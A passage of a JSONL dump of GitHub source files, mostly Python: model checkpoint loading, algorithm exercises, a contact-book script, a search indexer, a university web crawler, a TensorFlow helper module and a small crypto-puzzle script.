prediction.cpu().numpy()\n metrics.update(labels, prediction)\n\n # collect statistics from multiple processes\n metrics.synch(device)\n score = metrics.get_results()\n\n return score\n \n def load_ckpt_inference(self, prev_path, curr_path):\n # a helper function to load the current and previous checkpoints.\n # mainly needed for custom visualizations\n if osp.exists(prev_path) and osp.exists(curr_path):\n curr_step_checkpoint = torch.load(curr_path, map_location='cpu')\n self.model.load_state_dict(curr_step_checkpoint['model_state'], strict=True)\n self.pseudolabeler.load_state_dict(curr_step_checkpoint['pseudolabeler'], strict=True)\n\n # Load state dict from the model state dict, that contains the old model parameters\n step_checkpoint = torch.load(prev_path, map_location=\"cpu\")\n new_state = {}\n for k, v in step_checkpoint['model_state'].items():\n new_state[k[7:]] = v\n self.model_old.load_state_dict(new_state, strict=True) # Load also here old parameters\n\n self.logger.info(f\"[!] Current model loaded from {curr_path}\")\n self.logger.info(f\"[!] Previous model loaded from {prev_path}\")\n\n # clean memory\n del step_checkpoint['model_state']\n del curr_step_checkpoint['model_state']\n else:\n raise FileNotFoundError(f'Either {prev_path} or {curr_path} does not exist!')\n\n def load_step_ckpt(self, path):\n # generate model from path\n if osp.exists(path):\n step_checkpoint = torch.load(path, map_location=\"cpu\")\n self.model.load_state_dict(step_checkpoint['model_state'], strict=False) # False for incr. classifiers\n if self.opts.init_balanced:\n # implement the balanced initialization (new cls has weight of background and bias = bias_bkg - log(N+1)\n self.model.module.init_new_classifier(self.device)\n # Load state dict from the model state dict, that contains the old model parameters\n new_state = {}\n for k, v in step_checkpoint['model_state'].items():\n new_state[k[7:]] = v\n self.model_old.load_state_dict(new_state, strict=True) # Load also here old parameters\n\n self.logger.info(f\"[!] Previous model loaded from {path}\")\n # clean memory\n del step_checkpoint['model_state']\n elif self.opts.debug:\n self.logger.info(f\"[!] WARNING: Unable to find of step {self.opts.step - 1}! \"\n f\"Do you really want to do from scratch?\")\n else:\n raise FileNotFoundError(path)\n\n def load_ckpt(self, path):\n opts = self.opts\n assert osp.isfile(path), f\"Error, ckpt not found in {path}\"\n\n checkpoint = torch.load(opts.ckpt, map_location=\"cpu\")\n self.model.load_state_dict(checkpoint[\"model_state\"], strict=True)\n self.optimizer.load_state_dict(checkpoint[\"optimizer_state\"])\n self.scheduler.load_state_dict(checkpoint[\"scheduler_state\"])\n if \"scaler\" in checkpoint:\n self.scaler.load_state_dict(checkpoint[\"scaler\"])\n if self.weakly:\n self.pseudolabeler.load_state_dict(checkpoint[\"pseudolabeler\"])\n\n cur_epoch = checkpoint[\"epoch\"] + 1\n best_score = checkpoint['best_score']\n self.logger.info(\"[!] Model restored from %s\" % opts.ckpt)\n # if we want to resume training, resume trainer from checkpoint\n del checkpoint\n\n return cur_epoch, best_score\n","repo_name":"naver/rasp","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":37345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39077763088","text":"# python3\n\n\ndef fibonacci_number_again_naive(n, m):\n assert 0 <= n <= 10 ** 18 and 2 <= m <= 10 ** 3\n\n if n <= 1:\n return n\n\n previous, current = 0, 1\n for _ in range(n - 1):\n previous, current = current, (previous + current) % m\n\n return current\n\n\ndef fibonacci_number_again(n, m):\n assert 0 <= n <= 10 ** 18 and 2 <= m <= 10 ** 3\n\n #type here\n a = [0, 1, 1]\n modu = [0,1,1]\n check = False\n # print(modu)\n if n > 2:\n # if m > 2:\n # while check == False:\n for i in range(2, n):\n if check == True:\n break\n\n # for i in range(2, min(m,1000)):\n # print(a)\n f = a[i - 1] + a[i]\n a.append(f)\n\n # Check if sequence is repeated yet\n\n if i!= 2 and modu[i] == modu[i-1] == 1 and modu[i-2] == 0:\n check = True\n else:\n modf = f % m\n # print(modf)\n modu.append(modf)\n\n # del modu[i - 2:i + 1]\n del modu[i - 3:i]\n period = len(modu)\n # print(n,period, n%period)\n\n return modu[n%period]\n\n # return a[n]\n # return modu\n # return str(a[n])[-1]\n # if i == n:\n # return a\n else:\n return a[n]\n # return str(a[n])\n\n\nif __name__ == '__main__':\n # input_n, input_m = map(int, input().split())\n # print(fibonacci_number_again(input_n, input_m))\n n,m = 2015, 4\n print(fibonacci_number_again(n,m))\n","repo_name":"PRSMendis/Algorithmic_Toolbox","sub_path":"Algorithmic Warm Up/Fibonacci Number Again/fibonacci_number_again.py","file_name":"fibonacci_number_again.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"6262950786","text":"from .cache import cache\nfrom .registry import cache_registry\nfrom .settings import api_settings\n\n\ndef get_cache_key(instance, serializer, pattern=False):\n \"\"\"Get cache key of instance\"\"\"\n\n if not getattr(instance, 'pk', None):\n return None\n\n params = {\n \"id\": getattr(instance, 'pk'),\n \"model_name\": instance._meta.get('collection'),\n \"serializer_name\": serializer.__name__\n }\n\n key = api_settings.SERIALIZER_CACHE_KEY_FORMAT.format(**params)\n\n return '%s*' % key if pattern else key\n\n\ndef clear_for_instance(instance):\n \"\"\"Clear the cache for the given instance\"\"\"\n\n keys = []\n serializers = cache_registry.get(instance.__class__)\n\n for serializer in serializers:\n clear_key = get_cache_key(instance, serializer, pattern=api_settings.REMOVE_BY_PATTERN)\n if clear_key:\n keys.append(clear_key)\n\n if api_settings.REMOVE_BY_PATTERN:\n for key in keys:\n cache.delete_pattern(key)\n else:\n cache.delete_many(keys)\n","repo_name":"albertomr86/drf-mongoengine-cache","sub_path":"drf_mongoengine_cache/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"3562699258","text":"\"\"\"empty message\n\nRevision ID: 508d7669521f\nRevises: 9a216fa5b1f4\nCreate Date: 2016-05-15 17:46:43.419174\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '508d7669521f'\ndown_revision = '9a216fa5b1f4'\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('keyword_relevance')\n op.drop_table('image')\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_table('image',\n sa.Column('id', sa.INTEGER(), server_default=sa.text(u\"nextval('image_id_seq'::regclass)\"), nullable=False),\n sa.Column('url', sa.VARCHAR(), autoincrement=False, nullable=True),\n sa.Column('image_url', sa.VARCHAR(), autoincrement=False, nullable=True),\n sa.PrimaryKeyConstraint('id', name=u'image_pkey'),\n postgresql_ignore_search_path=False\n )\n op.create_table('keyword_relevance',\n sa.Column('id', sa.INTEGER(), nullable=False),\n sa.Column('keyword', sa.VARCHAR(), autoincrement=False, nullable=True),\n sa.Column('relevance', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True),\n sa.Column('parent_id', sa.INTEGER(), autoincrement=False, nullable=True),\n sa.ForeignKeyConstraint(['parent_id'], [u'image.id'], name=u'keyword_relevance_parent_id_fkey'),\n sa.PrimaryKeyConstraint('id', name=u'keyword_relevance_pkey')\n )\n ### end Alembic commands ###\n","repo_name":"mwee/ImageSearch","sub_path":"migrations/versions/508d7669521f_.py","file_name":"508d7669521f_.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"16265928358","text":"from functools import reduce\n\ndef product(x, y):\n return x * y\n\nprint(reduce(product, [1,2,3,4,5]))\n\n# Same as the following iterative version:\ntotal = 1\nfor x in [1,2,3,4,5]:\n total = total * x\n\nprint(total)\n\n# Same as the following recursive version:\ndef factorial(n):\n if n == 1:\n return 1\n return n * factorial(n-1)\n\nprint(factorial(5))\n","repo_name":"duliodenis/python_master_degree","sub_path":"unit_04/10-Functional_Python/3-Lambda-Lambada/1_reduce.py","file_name":"1_reduce.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"53"}
+{"seq_id":"73975500648","text":"#!/usr/bin/python3\n\ndef __showClients():\n '''\n show clients availble for obspy\n '''\n\n from obspy.clients.fdsn.header import URL_MAPPINGS\n \n names = []\n for key in sorted(URL_MAPPINGS.keys()):\n\n names.append(\"{0:<11} {1}\".format(key, URL_MAPPINGS[key]))\n return names\n\n## END OF FILE\n","repo_name":"andbrocode/andbro_python","sub_path":"andbro__showClients.py","file_name":"andbro__showClients.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26309487143","text":"import math\n\nguests_count = int(input())\nbudged = int(input())\n\neaster_bread_price = 4\negg_price = 0.45\neggs_per_person = 2\n\neaster_bread_total = 0\neaster_bread_price_total = 0\negg_total = 0\negg_price_total = 0\ntotal_price = 0\nleft_money = 0\nneeded_money = 0\n\nfor i in range(1, guests_count + 1):\n easter_bread_total = guests_count / 3\n easter_bread_price_total = (math.ceil(easter_bread_total) * easter_bread_price)\n break\n\nfor i in range(1, guests_count + 1):\n egg_total = guests_count * 2\n egg_price_total = egg_total * egg_price\n break\n\ntotal_price = easter_bread_price_total + egg_price_total\n\nif total_price <= budged:\n left_money = budged - total_price\n print(f\"Lyubo bought {math.ceil(easter_bread_total)} Easter bread and {egg_total} eggs.\\nHe has {left_money:.2f} lv. left.\")\nelse:\n needed_money = total_price - budged\n print(f\"Lyubo doesn't have enough money.\\nHe needs {needed_money:.2f} lv. more.\")\n\n\n\n","repo_name":"Dafov/Python-Dev-SoftUni","sub_path":"01. Programming Basics with Pyton/8. Exam-prep/easter_guests.py","file_name":"easter_guests.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28636616967","text":"import tensorflow as tf\nimport tensorflow.contrib as tf_contrib\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport numpy as np\nimport cv2\nimport os\n\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import cohen_kappa_score\n\n##########################################################\n### Net measure\n##########################################################\ndef net_measure(pred, labels):\n correct_pred = tf.equal(tf.argmax(pred, 1),tf.argmax(labels, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\n return correct_pred, accuracy\n\ndef get_accuracy(preds, labels):\n \"\"\"\n Overall accuracy\n \"\"\"\n preds = np.reshape(preds, (-1))\n labels = np.reshape(labels, (-1))\n accuracy = round(accuracy_score(y_true = labels, y_pred = preds), 5)\n \"\"\"\n Per_class_recall\n \"\"\"\n matrix = confusion_matrix(y_true = labels, y_pred = preds)\n print (\"confusion_matrix:\", matrix)\n recalls = matrix.diagonal().astype('float')/matrix.sum(axis = 1)\n\n normal_recall = round(recalls[0], 5)\n inflam_recall = round(recalls[1], 5)\n bleed_recall = round(recalls[2], 5)\n\n \"\"\"\n Cohen kappa\n \"\"\" \n kappa = round(cohen_kappa_score(y1 = preds, y2 = labels), 5)\n\n return accuracy, normal_recall, bleed_recall, inflam_recall, kappa\n\n\n####################################################\n### Regular operations\n####################################################\ndef make_img(_input, dst_size = 128):\n \"\"\"\n Normalize the given input and resize it into an image with size [128, 128, 3]\n \"\"\"\n x = tf.nn.relu(_input)\n\n if int(x.get_shape()[-1])!= 1:\n x = tf.reduce_mean(x, axis = -1, keepdims = True)\n\n x_max = tf.reduce_max(x, axis = [1, 2, 3], keepdims = True)\n x_min = tf.reduce_min(x, axis = [1, 2, 3], keepdims = True)\n\n x_norm = tf.div(x - x_min, x_max - x_min)\n output = tf.image.resize_images(tf.tile(x_norm, (1,1,1,3)), (dst_size, dst_size))\n\n return output\n\n\ndef save_img(img, img_index, root_path, img_name, mode = \"image\"):\n img = np.uint8(255 * img)\n if mode == \"image\": \n img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)\n elif mode == \"heatmap\":\n img = cv2.applyColorMap(img, cv2.COLORMAP_JET)\n img_path = os.path.join(root_path, str(img_index) + img_name)\n cv2.imwrite(img_path, img)","repo_name":"hathawayxxh/WCE-SOTA-methods","sub_path":"2019 Sensors/ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"53"}
+{"seq_id":"10286397298","text":"import os\nimport re\nimport time\nimport logging\n\n\nfrom tornado.httpclient import HTTPClient\nfrom lxml import html\n\nfrom whoosh.fields import Schema, ID, KEYWORD, TEXT\nfrom whoosh import index\nfrom whoosh.qparser import QueryParser\nfrom whoosh.query import Variations\n\nfrom whoosh.support.charset import accent_map\nfrom whoosh.analysis import RegexTokenizer\nfrom whoosh.analysis import CharsetFilter, LowercaseFilter, StopFilter\nfrom newebe.lib.stopwords import stoplists\n\nfrom newebe.config import CONFIG\n\nlogger = logging.getLogger(\"newebe.lib\")\n\nchfilter = CharsetFilter(accent_map)\nstoplist = stoplists[\"en\"].union(stoplists[\"fr\"])\nanalyzer = RegexTokenizer() | LowercaseFilter() | \\\n StopFilter(stoplist=stoplist) | chfilter\nschema = Schema(content=TEXT(analyzer=analyzer),\n docType=TEXT,\n docId=ID(stored=True),\n tags=KEYWORD)\n\n\nclass Indexer():\n \"\"\"\n Indexer simplifies objects indexation and search with the whoosh api.\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Set index, create it if it does not exists.\n \"\"\"\n\n if CONFIG.main.debug:\n dirpath, filename = \\\n os.path.split(os.path.realpath(__file__))\n\n index_path = os.path.join(dirpath, \"..\", \"indexes\")\n else:\n index_path = os.path.join(CONFIG.main.path, \"indexes\")\n\n if not os.path.exists(index_path):\n os.mkdir(index_path)\n self.index = index.create_in(index_path, schema)\n else:\n self.index = index.open_dir(index_path)\n\n def index_microposts(self, microposts, checkUrl=True):\n \"\"\"\n Add given microposts to index, tag and content are stored.\n \"\"\"\n\n self.writer = self.index.writer()\n for post in microposts:\n\n text = post.content\n if checkUrl:\n urls = self._extract_urls(post.content)\n text = self._augment_micropost(post, urls)\n\n self.writer.update_document(content=text,\n docType=u\"micropost\",\n docId=unicode(post._id),\n tags=post.tags)\n self.writer.commit()\n\n def index_micropost(self, micropost, checkUrl=True):\n \"\"\"\n Add given micropost to index, tag and content are stored.\n \"\"\"\n\n text = micropost.content\n if checkUrl:\n urls = self._extract_urls(micropost.content)\n text = self._augment_micropost(micropost, urls)\n\n self.writer = self.index.writer()\n self.writer.update_document(content=text,\n docType=u\"micropost\",\n docId=unicode(micropost._id),\n tags=micropost.tags)\n self.writer.commit()\n\n def search_microposts(self, word):\n \"\"\"\n Return a list of microposts that contains given word.\n \"\"\"\n\n time.sleep(1)\n parser = QueryParser(\"content\", schema=schema,\n termclass=Variations)\n query = parser.parse(word)\n\n with self.index.searcher() as searcher:\n results = searcher.search(query)\n return [result[\"docId\"] for result in results]\n\n def remove_doc(self, doc):\n \"\"\"\n Remove given doc from index (doc of which docId is equal to id).\n \"\"\"\n\n self.writer = self.index.writer()\n self.writer.delete_by_term(\"docId\", unicode(doc._id))\n self.writer.commit()\n\n def _extract_urls(self, text):\n \"\"\"\n Extract Urls from given text.\n \"\"\"\n\n return re.findall(\"https?://[\\da-z\\.-]+\\.[a-z\\.]{2,6}/[/\\w\\.-]*/?\",\n text)\n\n def _augment_micropost(self, post, urls, checkUrl=True):\n '''\n Grab meta field from each url given in parameter. then add its content\n to given micropost (for indexation purpose).\n '''\n\n text = unicode(post.content)\n for url in urls:\n client = HTTPClient()\n try:\n response = client.fetch(url)\n doc = html.fromstring(response.body)\n\n title = doc.xpath('//head/title')\n doc.xpath('/html/head/meta[@name=\"description\"]/@content')\n description = doc.xpath(\n '/html/head/meta[@name=\"description\"]/@content')\n\n if title:\n text += \" \" + title[0].text_content()\n if description:\n text += \" \" + description[0]\n except:\n logger.error(\"A problem occured while indexing micropost links\")\n\n return text\n","repo_name":"gelnior/newebe","sub_path":"newebe/lib/indexer.py","file_name":"indexer.py","file_ext":"py","file_size_in_byte":4725,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"53"}
+{"seq_id":"10744345583","text":"class Solution:\n def searchMatrix(self, matrix: List[List[int]], target: int) -> bool:\n if len(matrix)== 1 :\n for i in matrix[0]:\n if i == target:\n return True\n return False\n if len(matrix[0]) == 1:\n for i in range(len(matrix)):\n if matrix[i][0] == target:\n return True\n return False\n top,right = 0,len(matrix[0]) - 1\n while top < len(matrix) and right > -1:\n val = matrix[top][right]\n if val == target:\n return True\n if val < target:\n top += 1\n else:\n right -= 1\n return False\n \n ","repo_name":"princeamitlali/leet_code","sub_path":"74-search-a-2d-matrix/74-search-a-2d-matrix.py","file_name":"74-search-a-2d-matrix.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"26839113126","text":"from gym.spaces.box import Box\nfrom gym.spaces.discrete import Discrete\nimport numpy as np\n\n\nclass RandPolicy:\n name = \"random\"\n discrete_action = False\n\n def __init__(self, observation_space, action_space, num_envs):\n print(type(action_space))\n if isinstance(action_space, Box):\n self.act_size = len(action_space.shape)\n self.act_low = action_space.low\n self.act_high = action_space.high\n elif isinstance(action_space, Discrete):\n self.act_size = action_space.n\n self.act_low = 0\n self.act_high = self.act_size\n self.discrete_action = True\n\n self.num_envs = num_envs\n\n def act(self, obs):\n if self.discrete_action:\n return np.random.randint(self.act_high, size=[self.num_envs])\n else:\n return np.random.uniform(np.tile(self.act_low[None, ...], [self.num_envs, 1]),\n np.tile(self.act_high[None, ...], [self.num_envs, 1]))\n\n\ndef dynamics_data_gen(env_name='Reacher-v2', start_seed=0, timesteps=10, n_parallel_envs=1, width=300, height=240):\n import gym # import locally so that caller can patch gym\n\n def make_env(seed):\n def _():\n env = gym.make(env_name)\n env.seed(seed)\n return env\n\n return _\n\n # Uncomment this to show the bug\n # from requests_futures.sessions import FuturesSession\n # session = FuturesSession()\n # session.get('http://www.google.com', )\n\n from subproc_vec_env import SubprocVecEnv\n # from baselines.common.vec_env.subproc_vec_env import SubprocVecEnv\n\n env = SubprocVecEnv([make_env(s) for s in range(start_seed, start_seed + n_parallel_envs)])\n\n policy = RandPolicy(env.observation_space, env.action_space, env.num_envs)\n\n rollouts = []\n obs = env.reset()\n for i in range(timesteps):\n # fs = env.render(\"rgb\", width=width, height=height)\n fs = env.render(\"rgb_array\", width=width, height=height)\n acs = policy.act(obs)\n rollouts.append(dict(obs=obs, acs=acs, views=fs))\n obs, rewards, dones, infos = env.step(acs)\n\n import pandas as pd\n return {k: np.stack(v) for k, v in pd.DataFrame(rollouts).items()}\n\n\ndef main(env_id=\"Reacher-v2\"):\n # env_name = \"PointMass-v0\"\n samples = dynamics_data_gen(env_name=env_id, start_seed=0, timesteps=50, n_parallel_envs=5, width=28, height=28)\n\n for k, v in samples.items():\n print(k, v.shape)\n\n video = np.swapaxes(samples['views'], 0, 1).reshape(-1, 28, 28, 3)\n from ml_logger import logger\n logger.log_video(video, 'test.mp4')\n\n\nif __name__ == \"__main__\":\n from ge_world import IS_PATCHED\n\n assert IS_PATCHED, \"need to patch\"\n\n main(\"GoalMassDiscrete-v0\")\n","repo_name":"geyang/mujoco_py_subproc_render_osx_reproduction","sub_path":"point_mass_random_gen.py","file_name":"point_mass_random_gen.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18669419081","text":"lstContatos=[]\r\n\r\ndef adicionarContatos():\r\n while True:\r\n print('-'*26)\r\n nome=str(input('Nome: '))\r\n sobrenome=str(input('Sobrenome: '))\r\n telefone=str(input('Telefone: '))\r\n endereco=str(input('Endereco: '))\r\n email=str(input('Email: '))\r\n for i, contato in enumerate(lstContatos):\r\n if contato[4] == email:\r\n print('Email já cadastrado')\r\n return\r\n contato=[nome, sobrenome, telefone, endereco, email]\r\n lstContatos.append(contato)\r\n sair=int(input('Deseja fazer mais outro cadastro ?\\n [1]-Sim / [2]-Não : '))\r\n if sair==2:\r\n break\r\n \r\n \r\ndef listarContatos():\r\n print('--------------------------')\r\n print('Nome\\t\\t\\tTelefone')\r\n for i in range(0,len(lstContatos)):\r\n print(lstContatos[i][0],lstContatos[i][1]+'\\t\\t'+lstContatos[i][2])\r\n print('\\n')\r\n\r\ndef procurarContatos():\r\n print('--------------------------')\r\n opcoes=int(input('Deseja procurar contato por:\\n [1]-Nome / [2]-Endereço: '))\r\n if opcoes==1:\r\n procurar=input('Digite nome: ')\r\n print('--------------------------')\r\n contato = []\r\n for i, contato in enumerate(lstContatos):\r\n if contato[0]==procurar:\r\n print(lstContatos[i][0],lstContatos[i][1]+'\\t\\t'+str(lstContatos[i][2]))\r\n print(lstContatos[i][3]+'\\t\\t'+str(lstContatos[i][4]))\r\n print('--------------------------')\r\n return\r\n elif opcoes==2:\r\n procurar=input('Digite endereço: ')\r\n print('--------------------------')\r\n contato = []\r\n for i, contato in enumerate(lstContatos):\r\n if contato[3]==procurar:\r\n print(lstContatos[i][0],lstContatos[i][1]+'\\t\\t'+lstContatos[i][3])\r\n print('--------------------------')\r\n return\r\n print('Contato não encontrado.')\r\n print('\\n') \r\n\r\ndef deletarContato():\r\n print('--------------------------')\r\n excluir=input('Digite email do contato: ')\r\n contato=[]\r\n for i, contato in enumerate(lstContatos):\r\n if contato[4]==excluir:\r\n opcao=int(input('Deseja remover esse contato ? [1]-Sim / [2]-Não : '))\r\n if opcao==1:\r\n lstContatos.pop(i)\r\n print('Contato deletado com sucesso')\r\n print('\\n')\r\n return\r\n elif opcao==2:\r\n print('Contato não deletado')\r\n print('\\n')\r\n return \r\n print('Contato não encontrado')\r\n\r\ndef editarContato():\r\n print('--------------------------')\r\n editar=input('Digite email do contato: ')\r\n contato = []\r\n for i, contato in enumerate(lstContatos):\r\n if contato[4]==editar:\r\n opcao=int(input('Deseja editar o nome ?: [1]-Sim / [2]-Não: '))\r\n if opcao==1:\r\n nome = input('Digite nome: ')\r\n contato[0]=nome\r\n opcao=int(input('Deseja editar o sobrenome?: [1]-Sim / [2]-Não: '))\r\n if opcao==1:\r\n sobrenome = input('Digite sobrenome: ')\r\n contato[1]=sobrenome\r\n opcao=int(input('Deseja editar o telefone ?: [1]-Sim / [2]-Não: '))\r\n if opcao==1:\r\n telefone = input('Digite telefone: ')\r\n contato[2]=telefone\r\n opcao=int(input('Deseja editar endereço?: [1]-Sim / [2]-Não: ')) \r\n if opcao==1:\r\n endereço = input('Digite endereço: ')\r\n contato[3]=endereço\r\n opcao=int(input('Deseja editar o email?: [1]-Sim / [2]-Não: '))\r\n if opcao==1:\r\n email = input('Digite email: ')\r\n contato[4]=email\r\n lstContatos[i]=contato\r\n print('Contato Editado com sucesso.')","repo_name":"nickborgesx/Agenda-Telefonica","sub_path":"controlador.py","file_name":"controlador.py","file_ext":"py","file_size_in_byte":3877,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"70791030248","text":"from pathlib import Path\nimport ezdxf\n\nfrom ezdxf.render.forms import sphere\n\nDIR = Path('~/Desktop/Outbox').expanduser()\n\ndoc = ezdxf.new()\ndoc.layers.new('form', dxfattribs={'color': 5})\ndoc.layers.new('csg', dxfattribs={'color': 1})\ndoc.layers.new('normals', dxfattribs={'color': 6})\n\ndoc.set_modelspace_vport(6, center=(5, 0))\nmsp = doc.modelspace()\n\nsphere1 = sphere(count=32, stacks=16, radius=1, quads=True)\n\nsphere1.render(msp, dxfattribs={'layer': 'form'})\nsphere1.render_normals(msp, dxfattribs={'layer': 'normals'})\n\ndoc.saveas(DIR / 'sphere.dxf')\n","repo_name":"DatacloudIntl/dc_ezdxf","sub_path":"examples/render/render_sphere.py","file_name":"render_sphere.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9309512969","text":"import re\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urlparse, urldefrag, urljoin\n\n\ndef scraper(url, resp, counter):\n links = extract_next_links(url, resp, counter)\n return [link for link in links if is_valid(link)]\n\n\ndef extract_next_links(url, resp, counter):\n # Implementation required.\n # url: the URL that was used to get the page\n # resp.url: the actual url of the page\n # resp.status: the status code returned by the server. 200 is OK, you got the page. Other numbers mean that there was some kind of problem.\n # resp.error: when status is not 200, you can check the error here, if needed.\n # resp.raw_response: this is where the page actually is. More specifically, the raw_response has two parts:\n # resp.raw_response.url: the url, again\n # resp.raw_response.content: the content of the page!\n # Return a list with the hyperlinks (as strings) scrapped from resp.raw_response.content\n\n links = []\n\n if resp.status == 200 and resp.raw_response: # process the page only on 200 success\n soup = BeautifulSoup(resp.raw_response.content, 'lxml')\n # pass soup content to the counter\n low_info = counter.process_soup(soup, urlparse(resp.url))\n\n if low_info:\n return links\n\n # get urls from the 'href' attribute within tags e.g., \n for a_tag in soup.find_all('a'):\n # get absolute url by joining the two if necessary\n link = urljoin(url, a_tag.get('href'))\n # remove the fragment from the url and append to the list\n links.append(urldefrag(link).url)\n\n return links\n\n\ndef is_valid(url):\n # Decide whether to crawl this url or not.\n # If you decide to crawl it, return True; otherwise return False.\n # There are already some conditions that return False.\n try:\n parsed = urlparse(url)\n domain = parsed.netloc.lower()\n path = parsed.path.lower()\n query = parsed.query.lower()\n\n if parsed.scheme not in set([\"http\", \"https\"]):\n return False\n\n # Check for valid domain\n domains = re.compile(r\"\"\"\n .*\\.(\n ics.uci.edu|\n cs.uci.edu|\n informatics.uci.edu|\n stat.uci.edu)$\n \"\"\", re.VERBOSE)\n if not domains.match(domain):\n return False\n\n # Check domain & traps\n if domain == \"flamingo.ics.uci.edu\" and (\"/src\" in path or \"/.svn\" in path):\n return False\n if domain in [\"swiki.ics.uci.edu\", \"wiki.ics.uci.edu\"] and \"do\" in query:\n return False\n if domain in [\"archive.ics.uci.edu\", \"cbcl.ics.uci.edu\"] and query != '':\n return False\n if domain == \"wics.ics.uci.edu\" and (\"event\" in path):\n return False\n\n # Check path\n if any(i in path for i in [\"login\", \"img\", \"pdf\"]):\n return False\n # Check repetitive path\n if re.search(r'\\b([/\\w]+)(\\1){2,}\\b', path):\n return False\n\n # Check file extension\n if re.match(\n r\".*\\.(css|js|bmp|gif|jpe?g|ico|odc\"\n + r\"|png|tiff?|mid|mp2|mp3|mp4|mat|z|cpp|ipynb\"\n + r\"|wav|avi|mov|mpeg|ram|m4v|mkv|ogg|ogv|pdf\"\n + r\"|ps|eps|tex|ppt|pptx|doc|docx|xls|xlsx|names\"\n + r\"|data|dat|exe|bz2|tar|msi|bin|7z|psd|dmg|iso\"\n + r\"|epub|dll|cnf|tgz|sha1|py|bam|m|r\"\n + r\"|thmx|mso|arff|rtf|jar|csv|db|txt\"\n + r\"|rm|smil|wmv|swf|wma|zip|rar|gz|odp|mpg|bib|ppsx|war|java|xml|h|cc?|apk|sql)$\", path):\n return False\n\n # Check query\n if re.match(\n r\".*\\.(css|js|bmp|gif|jpe?g|ico|odc\"\n + r\"|png|tiff?|mid|mp2|mp3|mp4|mat|z|cpp|ipynb\"\n + r\"|wav|avi|mov|mpeg|ram|m4v|mkv|ogg|ogv|pdf\"\n + r\"|ps|eps|tex|ppt|pptx|doc|docx|xls|xlsx|names\"\n + r\"|data|dat|exe|bz2|tar|msi|bin|7z|psd|dmg|iso\"\n + r\"|epub|dll|cnf|tgz|sha1|py|bam|m|r\"\n + r\"|thmx|mso|arff|rtf|jar|csv|db|txt\"\n + r\"|rm|smil|wmv|swf|wma|zip|rar|gz|odp|mpg|bib|ppsx|war|java|xml|h|cc?|apk|sql)$\", query):\n return False\n if query and any(i in query for i in [\"version=\", \"format=txt\", \"share=\", \"login\"]):\n return False\n\n return True\n\n except:\n return False\n","repo_name":"NuochengLin/search-engine-group-15","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":4352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"35390908271","text":"from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long, isPrime\nfrom string import printable, ascii_letters\nfrom secret import FLAG\nimport os\n\nsecret = os.urandom(len(FLAG))\n\ndef OSP(plain, secret):\n assert len(plain) == len(secret), 'The length has to be idenntical!'\n ct = []\n p = getPrime(256)\n for f, k in zip(FLAG, secret):\n ct.append((f * p + k))\n return ct, p \n\nct, p = OSP(FLAG, secret)\nprint(ct)\n\n\n\n\ndef isprime(num):\n for n in range(2,int(num**0.5)+1):\n if num%n==0:\n return False\n return True\n\narr = []\nfor i in range(0,2**256-1):\n if isprime(i):\n arr.append(i)\n\nprint(arr)","repo_name":"shatha893/notes","sub_path":"Security/_1_Technical/_) Labs/CTF/Dirty Money/Nimble/ASCWG/OSP.py","file_name":"OSP.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
